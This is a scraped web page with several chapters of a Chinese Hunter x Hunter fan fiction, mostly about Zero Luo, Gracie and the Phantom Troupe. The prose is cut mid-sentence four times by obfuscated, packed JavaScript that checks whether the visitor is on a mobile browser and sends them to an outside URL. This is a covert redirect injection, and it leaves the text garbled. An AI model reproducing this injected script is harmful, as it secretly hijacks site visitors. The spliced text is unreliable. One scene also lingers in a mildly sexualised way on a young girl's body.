d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048010|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛，几乎能看见对方眼底倒映的自己：“你为什么在这里，我很清楚，我讨厌猎人协会自作主张的安排，但我不讨厌你，师父，你以为我为什么从来不对你隐瞒奇犽是我哥哥这件事？猎人协会什么都没告诉你吗？” “你注定要成为他们考试的最后一环的话，我会好好地尊敬你，但是请你别做多余的事情。” 云古确实不算很清楚猎人协会那边的安排。 知道他在这里遇上小杰和奇犽的时候，尼特罗确实顺嘴提了一句，要是遇到一个小女孩，记得给她也提供点帮助。一开始他以为是格蕾西，后来觉得格蕾西实在是没有需要帮助的地方，而后零洛开始噪音扰民。 云古闭了闭眼，再次睁开时他不再生气，但依旧严肃。 “所以你知道，这会让你哥哥担心，但是你不准备告诉他，也不准备不那么做，是吗？” “对。” “我知道了，那么，开始跳吧。” 云古反而将门上锁了，重新坐回去，用一种欣赏商品的眼神看着零洛。如果要登台演出，她一定会遇到比这更龌龊的眼神，但是云古暂且没办法表露出来，他也确实龌龊不起来，只能尽可能地让自己的眼神看起来充满恶意。 零洛倒是没事人一样，她跳的笨拙，毕竟才刚刚开始，舞步刚开始学，其实也算是简单，重复了两三次之后，脚下已经很流畅，吉他声越发的激昂起来，那块垂落下去的布条像是小尾巴一样，左右摇晃。零洛体力很好，半点没有疲惫的感觉，最后一句歌词和动作停止，云古彻底松了一口气。 裤子太短了，软肉在抖动，他刚刚差点闭着眼睛想死掉。 给他看还是太刺激了。 “师父？” “……去把衣服换掉。” 零洛没拒绝，很快把自己的那条连衣裙换了回来，走出来时云古正在窗口处透气，她走过去时云古和她说了声对不起。他刚刚生气，又用那种眼光看零洛，但零洛摇摇头，她说根本没必要道歉。 “你是为了我好，但还是请你不要告诉奇犽。” “格蕾西知道吗？” “嗯！”零洛点点头：“我的计划不会瞒着她。师父，谢谢你教我吉他。” “你有那么喜欢那个男人吗？” “……啊？” 零洛噎住了，她呆了几秒钟，突然笑出了声，双肩抖动着笑得有些喘不过气。他们的脑回路没对上啊！ 云古不知道零洛在笑什么，只是她笑出了眼泪，洗去妆容后清晰的泪痣点缀在眼角，眼泪亮晶晶的润湿的下睫毛，她笑着看向云古的时候，云古觉得自己的心脏强烈抽动了两下，乱了节奏。 “安心吧，师父。” “如果我喜欢上一个男人，那个男人也只会立刻就惨死而已。” 云古沉默，云古不解，云古茫然。 ……什么东西，你身上的诅咒？啊？ 零洛不语，零洛只是对自己大哥的占有欲有清晰的认知而已。 61.58 “说起来，幻影旅团是歌剧团？” “不是，配音吧。” “啊……真是幻灭印象。”格蕾西也学了几下吉他，她上手什么都挺快的，拨弄时发出一阵一阵的声音，上了更高楼层之后他们的房间增加了，小杰和奇犽各有一间双人床房间，其中一间就给了格蕾西和零洛。 零洛还在靠随身携带的手机收集情报，突然收到消息之后抬头看了一眼格蕾西。 “那一个亿，你竟然花掉了诶？” 格蕾西手上一重，差点把吉他弦给扯断了，震惊望向零洛有一种愕然和不敢相信：“我才刚花出去没半天，你怎么就知道了？我还在想要怎么跟你说呢……” “是爷爷啦。” 零洛展示了一下短信，桀诺发过来的，提到格蕾西花掉了一个亿，所以他就追踪了一下子，没想到竟然是幻影旅团的卡号，对方切换了十几个假的身份，还反向追踪了揍敌客家的ip，结局是平手，双方各自撤退。桀诺也是好心，怕格蕾西一口气花这么多是被人骗了。 格蕾西扶额，总觉得自己裤子都被扒了一样。 她的手机很快就响了起来，格蕾西迅速接听，打开了外放。 “喂……玛琪姐姐，晚上好呀，哈哈哈……”格蕾西先卖了个乖，那头的女人似乎很长地叹了一口气：“你害得我欠了侠客一个人情，格蕾西。” 原来汇款进玛琪的账户之后，立刻揍敌客家就开始追踪了，侠客拥有他们大部分账户的权限，响起警报的一瞬间就开始和揍敌客家的人干了起来，键盘敲出了火星子，所以侠客打电话过来告诉玛琪的时候，玛琪已经欠了个人情给侠客。 格蕾西立刻推卸责任：“是揍敌客家的问题，支票给我就给我了，我花哪儿他们管干什么！” “好吧，侠客让我问你一句话。” “零在哪儿我是不可能说的。” “……”玛琪沉默了片刻，她又开了口：“你旁边的那个人，让她出去。” “她可以不用出去，因为对零来说，她很重要。” 玛琪又沉默了一会儿。 “帮我转告零，旅团有行动，如果她想参与，可以来。” “……库洛洛说的？” “嗯。” 格蕾西咬了咬牙：“怎么，他也联络不上零？好吧，我不保证我也行，但是你也得帮我和库洛洛说句话。你就说，如果不想我把他做的事抖给侠客，就给我离零远一点！” 玛琪当然不可能帮忙传递这句话，她听了就当耳旁风，敷衍地回应了一句，就挂断了电话。 奇怪。 幻影旅团的活动为什么会找零来参加……格蕾西百思不得其解。零洛大概能猜到格蕾西在疑惑什么，毕竟按道理来说，零并不是幻影旅团的成员，也没有过度亲密的交际，甚至在这几年零已经一次都没有与他们见面，上一次见面还是旅团的四号被杀。 零从来没有参与过幻影旅团的活动。 一次也没有。 “啧，要是侠客和库洛洛都死了，零就自由了吧？不对，幻影旅团的那些人都……”格蕾西虽然了解得并不多，但是很明显，零和他们都认识，还是交情匪浅，连飞坦那个一点就炸的矮子都会和零打招呼。零洛把吉他拿过来，擦了擦琴弦：“不，零不会希望他们出事的。” “他们之间有更久远的记忆，哪怕已经分道扬镳都不会停止的记忆。” 也是，格蕾西叹气。 “明天，小杰他们就能上二百层了吧，可能就要接触到念了。”格蕾西托着腮想着，又数了数西索和华石斗郎对战的日子，总觉得自己还得多做两手准备。伊洛林点了点头：“明天，我得去找侠客了，我们两个就别打扰他们学习了。” “好啊，我跟你说，我正好想和侠客动动手。” 其实格蕾西和幻影旅团的交情也就那样，零太忙，很少回流星街，因为放心不下格蕾西，就会把她放在幻影旅团的基地养，旅团来来往往的人不多，凑齐全员的情况更是少见，但格蕾西还是跟踩了狗屎一样见了所有人。 “提起来就令人不爽。”格蕾西想起来还是觉得牙根痒痒，她就占据了一小块地方，结果还是会成为偶尔嘴上吵架的名字，比如什么，那只门口睡着的小猫都比你man，什么鬼东西，一拳打烂你们的牙啊！ 格蕾西是一个有什么脾气就发绝对不忍着的女人，但是面对幻影旅团，危险的感觉太强，还是零的朋友，格蕾西破天荒吃瘪了，之后便想着跑出去。可是不论她怎么努力，最后都是会被抓回去，百分之八十都是侠客在动手。 “别随便乱跑啦，如果零回来发现你不在了，我可是要被指责的诶？”侠客笑眯眯地提着乱踢腿的格蕾西，笑容温柔，但是没有半点给零温柔的感觉。毕竟这个家伙，看起来好像宽容大度，实际上小肚鸡肠，心眼极小，就零太在意她而言，侠客都生出了要杀了她的心思。 格蕾西骂他白痴笨蛋，零绝对不会爱上你，这让侠客笑容都狰狞了几分。 “不好意思啊，我和零不仅是青梅竹马，还是天生一对。” “是吗？可是她只是偶尔才会来诶！” “哈哈哈，格蕾西，你的脸和你的嘴完全是反比呢！” 其实她想说的另有其他，可是觉得自己说出来的话库洛洛肯定就要弄死她了，这才不情不愿地闭上了嘴，直到离开流星街才觉得自己脱离了危险。可格蕾西本以为这个秘密能够让他们两个决裂，哪里知道库洛洛根本就是老油条，脸皮厚，只是说了一句：随你的便。 他甚至都没想着堵她的嘴！那她当年忍得那么辛苦是做什么啊，修炼忍者心得吗？早知道就提前说出来让他们自己乱成一锅粥！ “诶？所以他们之间发生了什么？” “……唔，也不是什么大事。” 却不是什么大事，但是是零的私人事情，说出来的话算私底下说闲话吗？但是……不论怎么说，零洛都应该知道得更多才行。于是哪怕在房间里，她也压低了声音凑过去悄悄地在零洛的耳边说出了那件事。 零洛震惊，零洛停止了思考！ “等下，零不是还和侠客生了小孩吗？” “？！！” 格蕾西差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048397|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撅过去。什么东西，你在说什么？你在说什么啊！！ 于是两个人一对信息，格蕾西的天彻底塌了，零真是个闷声不响做大事的女人啊……侠客肯定不知道这件事，所以零洛出去侠客那边溜一圈，侠客肯定会信，因为这件事本来就是真的，所以侠客的脑子会进入短暂的空白期。 “那，那她和库洛洛……” “呃…零，根本不在乎，谁是自己孩子的爹吧？” 零洛判断，零的性格来看，她什么都不在乎，在乎的只有孤儿院和那些小孩，幻影旅团只要没有性命危机，她就根本不带搭理的。格蕾西哀嚎起来，她现在无法直视零了，她，她知道零年纪挺大，奔三了，比库洛洛年纪还大点，但是怎么就生孩子了啊！ 零洛爬起来收拾东西。 “我们速战速决，等他们学会念能力我们回来，就刚刚好。” “之后的安排想好了吗？” “嗯！我得去友客鑫。”零洛说出了自己的判断，所有的□□都会汇聚的时候，那个家伙的家族一定也会到达，她放出风声提交了自己的项链做拍卖品，想来对方已经收到了消息。很好，那就去大战一场吧！ “那我们四个顺路。” 格蕾西带上零洛给的微型摄像头，他们两个现在有一个礼拜的时间，去把侠客给端了。 对不起了，这位没见过面的大兄弟，你的脸真的很重要。 虽然也能靠伪装达到本人的效果，但是具体那个人的样子，根本没有什么人能很清楚，要是不一样那就输了。而且，据说他和幻影旅团也有交易，不知道真的假的，所以最好的，还是侠客本人。 零洛铺开一张平面图。 “重复一下这次的行动。我在这里预定了唱歌，第三天，他会进门，然后你要坐在这个位置，不要用太强烈的目光去注视，不论我发生什么都别出来，哪怕我被带走都不要。” “那你真的遇到危险呢？” 零洛张了张嘴，很艰难地挤出那句话：“零说，不会遇到危险，因为侠客……呃，侠客有点恋爱脑。” 格蕾西给自己脑门来了一巴掌。 恋爱脑拯救世界，拯救朋友，真是感谢世界上有恋爱脑啊！ “而且，她说，如果是库洛洛的话，还有句话能够和他说了保命，但是这句话很奇怪。” 零洛低声复述了一遍。 “你八岁的愿望实现了。” “什么跟什么啊，他们一堆人全部都是青梅竹马吧！” 他们将东西全部收拾齐全，下楼还吃了顿饭，在天色稍暗的时候乘坐飞艇来到了距离天空竞技场两个小时飞程的城市，并且找到了那一家不算偏僻却也实在不算红火的酒吧。 零洛取出墨镜，往脸上一戴。 “走吧，格蕾西，为了拯救破产的揍敌客，我要成为爱抖露了！” 揍敌客没破产，所以爱抖露也是假的。 格蕾西许了个愿。 希望揍敌客家别破产哈，一个月五十万，一年就是六百万，她的亲爹亲爷爷啊，长命百岁，长命百岁！西索早点死哈。 62.59 意外总是在发生的。 比如在上台演唱的第一天，侠客就已经出现了，并且对面还坐着一个不应该出现的人，飞坦。 格蕾西隐蔽的动作极快，这得益于她的位置本身就是最偏僻的，再加上事先零洛教给她的调整呼吸和暗杀步伐，悄无声息融入了更深处。糟糕，该不会是今天的事情引起了侠客的注意吧……她轻盈翻身落在了另外一侧的卡座后，缩小自己的存在感，竖起耳朵听他们聊天。 嘈杂的环境能够帮她融入，只需要假装自己在普通喝酒就行。 “没想到你会找我帮忙，说吧，你的计划。” “诶——在这里说吗？我觉得这里不太适合呢。”侠客哈哈笑着，格蕾西听见他点了两杯酒和一份下酒菜：“回去再说吧，只不过是今天，有人告诉我这边似乎出现了我想要见的人，我才来顺路来看看的。” 看来这家酒馆是有他的眼线。还好进酒馆之前，自己就和零洛分开行动了。 “零？” “嗯，太久联络不上，我还是很担心的呢。” “我倒是觉得无所谓，毕竟那家伙强得很。”飞坦懒懒散散回着话，漫不经心盯着玻璃杯看，蓝色的调酒就像是那个女人一样，冷冷的，一点也不温柔：“猎人协会的事情，你听说了吧。” “嗯，不过保密程度很高呢，知情人都被进行了制约，真是一点消息都不给知道呢。” 侠客叹了一口气，明明自己也持有猎人证，但是有些地方还是进不去，尼特罗那老家伙真是太老谋深算了，老早就算到了这一层了吧。前段日子猎人协会的车队在街上被攻击，而分部也两次受到了攻击，他们之间暗流涌动的时候自己却一点消息也查不到，收尾的手笔里竟然有揍敌客家的痕迹。 他们什么时候开始合作了吗？ 再加上揍敌客今天突如其来的查探…… “抛开这个不谈，今天的揍敌客是格蕾西引起的哦。”侠客说起格蕾西的语气轻飘飘，就像是在说什么不值一提的东西似的，飞坦发出一声冷笑，他对格蕾西的印象还停留在三年前，四号被杀掉之后，新四号对格蕾西认亲。于是也漫不经心喝了一口酒：“跳蚤似的，还真能跳，亏她还能引起揍敌客的注意。” “你该不会还记恨她骂你变态萝莉控吧？” 侠客往后一躲，几乎同时，他面前的玻璃杯就被一剑切成了两半。侠客半点不意外，只是抱怨了一句自己还没喝多少啊这杯酒，就立刻找人来换了一杯。飞坦把剑收回去，声音越发冷和暴躁：“我就应该把她的嘴缝起来。” 格蕾西翻了个白眼，真记仇。 不过她也记仇，下次就把飞坦的嘴巴缝起来好了。 “不过今天她说的话我很在意呢，有谁是零很在意的？”侠客望向台上演出的乐队，耐心等待着：“今天来的人，会不会真的就是零呢。” 飞坦一口喝了一半的酒，心情放松下来，闻言翻了个白眼。 “你真是望妻石，但是为什么你们还没确认关系？小滴问你们是什么关系的时候，她可是说的朋友。” “……”侠客不说话。 “……你这家伙该不会是怕被拒绝吧？”飞坦愣了一下，大声嘲笑起来：“你…噗哈哈…这种事情竟然还要害怕？” 侠客忍了又忍，好险差点没笑容崩裂。 “你很勇敢？那你去啊，你去和零说点过分的话试试看啊？” 飞坦不说话了。 年少时他们这群人有几个是没被零摁在地上揍过的？他只能愤愤地再喝一口酒，那个暴力女…侠客冷哼一声，而飞坦却从另一个角度攻击他：“那你是抖M吗，居然能喜欢那种怪力猩猩女。” “我可以是。” 侠客闪亮一笑，话锋却一转：“但是飞坦，这种称呼绝对不要再有第二次了。” “啊，我知道的。” 飞坦啧了一声，他也无心说零什么闲话。她一直像个守护神，尽可能地庇护着孩子们，直到他们走到分岔路口，幻影旅团与她产生了分歧。库洛洛说她与幻影旅团不够匹配，她说她本来也没有加入幻影旅团，于是他们就变成了这样尴尬的关系，像再也没有未来一样。 他们互相沉默下来，格蕾西也只是闷头喝牛奶。 紧接着，台上的主唱调整了麦克风：“感谢大家的捧场，接下来呢，我要让位给一个朋友，她是一个小姑娘，自己出来找父亲，已经没有多少路费了，所以我呢也想给她一个机会，大家也听听她的歌声吧！我保证哦，是绝对的惊喜！” 格蕾西盯着手机屏幕，她发过去的消息是已读，并且回了个没问题的表情包。 真的没问题吗？ “嗯？小姑娘？” 侠客收到的消息只有蓝色头发的女性，和她长得很像照片上的人，但是因为走得太快，还很有防备心与反追踪的能力，于是对方并没有拍到照片，只是确信几乎是一个模子刻出来的。 灯光打在台上，聚焦在舞台。 蓝发的女孩从幕后走出，强光模糊了她的面部轮廓，踩着鼓点，她走到最前方，衣服紧紧包裹住身躯，过分成熟的打扮让她看起来像个偷穿大人衣服的小孩，稚嫩的脸上有着浓烈的妆。此刻侠客已经笑不出来了，他大脑一片空白，只能愣愣地看着台上的女孩，熟悉的音乐开始响起，女孩起手就是一阵吉他的solo不断的烘托气氛，在台下爆发出猛烈的鼓掌声时，她开始了自己的演出。 「有限的生命和有限的资源」 「不断嘶吼着的，是有限的我们」 「在此之前，让全世界都看到我们」 「生命之火熊熊燃烧，来唱来跳啊，人们」 「写作零的开始」 「故而我们拥有彼此的，成为耀眼的星星」 「在肮脏的画板上来描绘出歌唱未来之魂吧」 「战士们战士们，点燃了心上力量的战士们」 「团结一致，喜乐安康，向着未来前进前进再前进」 「生不带来，死不带去」 「我等从未掠夺，我等只是接受，来来来，将月亮挂上天空吧」 「将自我点燃做太阳」 「流星划过的长空里是繁星千万的我们」35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052309|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 与侠客一起挺起背部的，还有飞坦。 她唱的，是零写的歌曲，那甚至还没来得及发表的歌，只演唱给他们听过的《流星街》。女孩熟练无比，光影交错间，一双蓝色的眼眸清澈而漂亮，她甚至沉浸在其中，快节奏的鼓点不断响起，她踩踏着节拍在台上发光发热。 “你猜她几岁？” “你倒不如说，第一次零离开流星街是几岁。” “十二年前。” 侠客的声音都在发抖，“十二年前，她离开流星街，我追了出去，一起完成了猎人考试，之后她就消失了，直到十年前，她第二次联络我……” “那还真是恭喜你了啊。”飞坦的语气染上了一层烦躁。 他吐出了胸口的沉闷，声音平静。 “你应该不介意我告诉团长吧？” “先……确认一下。” 侠客站了起来，但又立刻坐下，因为不知道该怎么做而有些心情紧张。女孩已经结束了自己的演唱，拿着个帽子绕着圈讨要钱，很快钱就装满了帽子的一半，她目不斜视从格蕾西面前经过，要了这一桌子的钱，而后从容大方地站在了侠客与飞坦的面前。 侠客掏出钱包，把所有现金都抽出来放在帽子里，甚至把飞坦的钱包也抢过来，同样是所有现金。 女孩愣了愣，随即冲侠客笑得甜美：“谢谢你哦，大哥哥。” 侠客镇定着说不客气，下一秒飞坦就嗤笑出声了，女孩走远了，又重新回归了后台。侠客喝光了酒，迈步向后台走去，而飞坦喝了一杯酒，又喝了一杯，越发觉得这里沉闷，径直走了出去透透气。趁着这个功夫，格蕾西穿过人群，小心翼翼混进了后台。 女孩正在男人堆里，她像个不谙世事的孩子，完全不知道人心险恶，注意不到他们对她的打量与恶意。 侠客走过去笑眯眯地冲她打招呼：“你好啊，有空吗？我想跟你说两句话。”他看起来一定很随和亲近，又让人心生好感，因为女孩几乎是想也不想就同意了，她甚至感觉雀跃，眼睛亮晶晶地看着这位出手大方的听客，跟着侠客走到了一旁，却又不想去没人的地方。这是她的警惕，侠客非常乐意顺从。 “我叫侠客，你呢？” “我叫零洛。”蓝发的女孩笑容明媚：“谢谢您的慷慨。” 侠客整理了一下语言：“我能问问你父母的事情吗？因为我觉得，你长得很像一个我认识的人。” 零洛摸了摸自己的脸，歪着头好奇地打量侠客。 “难不成，其实你认识我的妈妈？” “她叫零，总是很忙，不怎么回来看我，也从来不告诉我爸爸的事情，我很孤独。所以我想出来找爸爸，想知道他为什么不要我和妈妈了。” 侠客的心跳加速。 “你几岁？什么时候出生的？” “十二岁，出生的话是在春天哦。” 格蕾西混在衣服里，给零洛的演技点了个赞。不愧是做杀手的，这个心跳平稳而又轻快，简直就是天生的影帝。但是对面是侠客，应该不会轻易相信，这么巧合的事情。影帝对决吗？ 63.60 侠客顺理成章地说出了那句话。 其实，有没有可能，我就是你爸爸？ 零洛僵硬了一下，她突然皱起眉头像是被耍了一样，大声呵斥起来：“你以为我是三岁小孩吗？我到一个地方演出，就真的找到爸爸了？看你好像很老实的样子，结果是个骗子！” 非常出色地因为愤怒而加快的心跳。 侠客显然不会这样就放下戒心，他表现得好像很焦虑一样，不停地说出了零的具体信息，精准到身高血型，但是零洛涨红了脸，她说谁会去记住妈妈的身高血型啊，你说出来我也不知道真的假的。 微型摄像头不断录着，格蕾西想象自己是一套衣服。 普通，平静的衣服。 ……谁穿的衣服没洗真是臭死了，这算不算工伤啊？ 零洛和侠客争执起来，她甚至一把抓住侠客的手腕，释放了自己的念来演出愤怒：“不要再戏耍我了！” 侠客只能灰溜溜出去，打算晚点趁零洛去暂住点，人少的情况下打晕带走。他前脚刚走，零洛就立刻冲乐队主唱哭诉了刚刚的事情经过，哭着说侠客太可怕了，她不要在这里继续演出。主唱怎么可能放过摇钱树，而且零洛无害得像只小白兔，他还没下手呢，于是他信誓当当地表示自己一定会保护零洛。 格蕾西依旧装作自己是衣服的一部分，因为她感受到了，有人在窥探。 什么时候给鼓手扎的天线？侠客真是老阴比。 操作系都讨厌死了。 “虽然我不知道爸爸的任何信息，可是总得和我有点像吧？”零洛还在不满地噘嘴：“我怎么可能完全只是像妈妈啊！” 你说得很对，简直太对了。 所以你才根本就不是零和侠客的孩子，但是这么说出来的话就很难评定了呢。侠客正在疯狂地查了吧……那一年春天，美食猎人零的所在地，医院记录，孩子名字。但是通通查不到，因为零根本就不是在医院里生的。 零真正的孩子到底在哪里，藏得也太好了，据她所知，侠客此人背地里的控制欲只强不弱，肯定都在暗地里搜索零的资料，但是零又不是傻子，肯定知道怎么防备。 假话里的真话才耐人寻味。 阴得就是你，侠客。 半夜回家，零洛接通了电话，赶紧小跑到一旁，装作刚睡醒的语气回答：“喂妈妈，怎么啦，我都睡着了。” 零的声音很平静，从电话那头清晰传来：“你不用骗我。” “……对不起嘛，可是我真的很想知道我爸是谁。”零洛撇了撇嘴：“今天还有个人说他是我爸爸。” “你遇上谁了？” “那个人说他叫侠客。” “……他不是你爸。”零的语气冷淡了许多：“我只给你一个礼拜的时间，到时候如果家里看不见你，小心你的屁股。” 零洛望着被挂断的电话，久久没有说话，她在想什么？不得而知。但是侠客已经站在她身后很久了，听到零的声音，他已经信了八成，而零否定了这件事，那就变成了百分百。 她确实是自己的女儿。 飞坦慢慢从阴影里走出来，零洛警惕地后退一步，却又像是发现了什么一样，转头看去，侠客冲她笑，晃了晃手上的手机：“我现在要给你妈妈打电话咯？” 零洛安静地站在那，她这么聪明，应该已经想到了，零是矢口否认。 这一次，零接通了电话，她没有开口，保持了沉默。 “零，好过分，怎么都不告诉我呢？” 侠客开口就是撒娇，像曾经的每一次那样。他对零有着依赖性，从小到大，零都在扮演照顾他的角色，他天生要对零撒娇，在她怀里感受温暖和纵容，这是零惯着的，属于他们两个人的相处模式。 “离她远点。” “为什么？她都这么大了！”侠客上下打量着零洛，又委屈上了：“姐姐，偷偷自己生小孩，不告诉我，我都不知道我还有个孩子，跟你的孩子。” 零的声音依旧冷漠：“侠客，我只说一次。” “那，友客鑫，你来？” “……我来。” “我在友客鑫等你，姐姐。” 格蕾西差点吐了，她控制住自己的反胃，觉得恋爱脑真的有病，几岁了撒娇成这样，粉色娇嫩你如今几岁？！飞坦则明目张胆地翻了个白眼，他刚才就很想打电话过去吐槽零，为什么选择给侠客生孩子，怎么就生孩子了，生什么生，有了就打掉啊！但是实在没说出口，他也挺怕的，怕零张嘴就是不然给你生吗？她那张嘴，连库洛洛都没放过。 但他真的想不通。 别说他了，格蕾西都想不通。 两个想不通的人默契地对上了脑电波：得让库洛洛知道一下。 零洛警惕地看着侠客，她的抵抗依旧明显，哪怕侠客是真的父亲，但是零说了不能和他走，所以零洛告诉侠客，她不会和侠客离开。 “废那么多话干什么。”飞坦烦躁不已：“直接打晕了带走。” 格蕾西迅速传输了数据回揍敌客家，紧接着将微型摄像头捏碎在指尖，丢进一侧的下水道，而后她迅速平稳呼吸，悄无声息攀上一旁的建筑物，借助月光在地面上出现了一个模糊的轮廓。飞坦一瞬间就拔出了伞，下一刻，女孩的声音清晰地传进他们每个人的耳朵里。 “哟，好久不见啊，天生一对哥，还有……飞坦。” 格蕾西很明显地笑了一声：“哎呀，飞坦，几年不见进步了，你去游乐场都能买成人票了。” 飞坦的笑容瞬间扩大，越发的狰狞起来。 “格蕾西，啊…我真怀念你还不能抵抗的时候。” 飞坦冲了上去。 仅在一瞬间格蕾西就甩出了尖锐的棱刺，他们缠斗在一起，尖锐的棱刺碰撞雨伞竟然发出了铿锵有力的嗡鸣，迸射出的火花在黑夜里点亮了一瞬间她的脸，格蕾西笑着，视线定格在飞坦的脸上：“我要你死——！” 侠客望着他们叹了口气，还有闲工夫和零洛搭话。 “他们总是这样，一言不合就打起来。” 话音未落觉得不对，望向零洛时才惊讶地发现，零洛看向飞坦的眼神里充满了杀意。侠客有一瞬间笑容挂不住了，天杀的，你们宠格蕾西是血脉传承吗？妈妈女儿一个德行？ 眼见零洛要冲上去给飞坦一个清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056096|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒拳，侠客赶紧拦下来。 “我教你一个办法，立刻能让飞坦停下。”侠客指着打成一团的两个人：“你冲着他喊，喊飞坦舅舅。” 零洛想了想，顺从了。 “飞坦舅舅！！” 飞坦浑身一僵，动作慢了一瞬，被格蕾西一拳击飞从高空跌落，以头抢地。格蕾西收回拳头，吹了吹，心满意足。这结结实实的一拳，真是让人心生愉悦！ 美得很，美得很，今晚做梦也会笑。 叫你每次都嘴欠！ 格蕾西落在零洛身边，拉住了零洛的手腕：“都跟你说了要跟紧我，你要丢了我怎么跟你妈交代？” “哎呀，格蕾西姐姐——”零洛反手搂着格蕾西的手臂抱着撒娇：“我的好姐姐，妈妈都不回来看我，我就是想出门玩，你又不允许我找爸爸，我才偷跑的嘛。” “你爸也不是什么好东西。” 格蕾西当着侠客的面骂侠客，飞坦此刻已经爬了起来，黑着脸走过来势必要一次性把这三个人一套带走。但是零洛转头望着他笑，他又手抖，他怎么能打零的脸？做梦都会被零拎着摁在地上揍吧。 另外两个……可以打。 “你为什么让我叫他舅舅，他是我妈妈的弟弟？”零洛凑过去，绕着他走了一圈，格蕾西翻了个白眼：“他往那一站跟你妈生的似的。” 飞坦唰一声亮出了剑，场面一度十分混乱，而零洛则在其中浑水摸鱼，这打一拳，那打一拳，一边喊舅舅不要打我姐姐，一边猛给飞坦两拳。格蕾西叫着杀人了，家暴啊，专门往零洛身后躲，飞坦实在气不过，恶向胆边生转头去揍侠客。侠客引火烧身，无妄之灾，跑得比谁都快。 “我杀了你们！！” “舅舅消消气，火气大对身体不好！” “小伙子，肝火这么旺盛，你肯定肾虚了呀！” “飞坦，不要打我啊！我什么也没做！” 场面乱成一锅粥。 库洛洛安静地看着，身侧，派克诺坦看得有点眼睛疼。 “团长……” “嗯。” 于是派克诺坦出现在他们面前，瞬间四个人一起防备，而后有三个人放松了身体，只有零洛好奇地打量着她，躲到了格蕾西的身后。库洛洛一步一步走近，视线落在零洛的脸上，他打量着这张熟悉的脸，眸色深沉。 格蕾西下意识伸手护住了零洛。 “格蕾西，好久不见。你长大了。” 库洛洛温和冲她微笑，视线转向侠客时，两个人的视线对撞了几秒钟，侠客笑嘻嘻地喊了一声团长，像是什么也没发生一样。而库洛洛下一秒就喊了一句派克，而派克则举起了枪。 “格蕾西，让开。” “……不。” 格蕾西无动于衷，而零洛则望向了派克诺坦，她眨了眨眼，双手勾住了格蕾西的脖颈，用一种害羞但是好奇的眼光将派克诺坦从头到脚打量了一遍，紧接着零洛看向库洛洛：“你是谁？我好像见过你的照片。” 库洛洛平静注视着她。 “我是库洛洛，那么，零洛。” “告诉我，你为什么要撒谎呢。” 64.61 零洛与库洛洛四目相对。 她维持着动作，沉默了片刻，无人说话。 格蕾西心中暗道不妙，但是与零洛的默契使她意识到，零洛没觉得需要逃跑。 “对，我说谎了。” 零洛轻声说：“妈妈告诉过我你的名字，她和我说，别被你发现。我问她为什么，她说因为不想被迫去见你。” “库洛洛叔叔。” 库洛洛沉默了片刻，而零洛则又补充了一句。 “你做错事了，叔叔，妈妈不想看见你。” 绝杀啊，零洛。格蕾西在心里拉了个横幅，上面写着零洛无敌。 库洛洛沉默的时候最可怕，他开口说话，你或许还能知道他想做什么，但他沉默的时候就代表着深不可测，格蕾西觉得，或许他只是在装逼发呆而已。他不说话，侠客和飞坦也不说话，派克诺坦只是一味看着零洛的脸。 “你是什么系？” “强化系。” “你妈妈在哪里。” 零洛摇头，拒不回答，库洛洛垂了一下眼睫，目光转向侠客，侠客便立刻说出了零已经答应去友客鑫这件事，于是库洛洛转头再看向零洛：“你对友客鑫感兴趣吗？” “诶？” “友客鑫的拍卖品，所有的，想一想，我会送给你。” 库洛洛说这话的时候轻描淡写，仿佛零洛说什么他都能允许一般。零洛看了他好一会儿，确信他并不是在撒谎，或者说大话，才犹豫了几秒，小女孩一般天真思考着：“嗯——我和朋友们约好了，也去友客鑫的，这样，你给我你的联络方式，找到想要的东西我就告诉你。” “好，侠客，给她。” 库洛洛答应得很快。 “不需要你来交换什么东西，这是我送你的礼物。” 飞坦和格蕾西同时在心里想，侠客是喜当爹，你是想做接盘侠吗，对别人女儿这么好的。 零洛心直口快。 “你为什么对我这么好？” “你妈妈会知道。” 库洛洛转过身，派克诺坦跟着他，两个人走向街角，而这个时候零洛和格蕾西才注意到，阴影里其实还站着一个矮矮的长发不明性别的人，对方冲着侠客挥挥手，侠客也充满友好地挥手打招呼：“库哔，要好好待在团长身边哦。” 毕竟非战斗人员超弱的。 “所以，他是来干什么的，又为什么要来？”格蕾西指着库洛洛的背影：“来装逼的？” 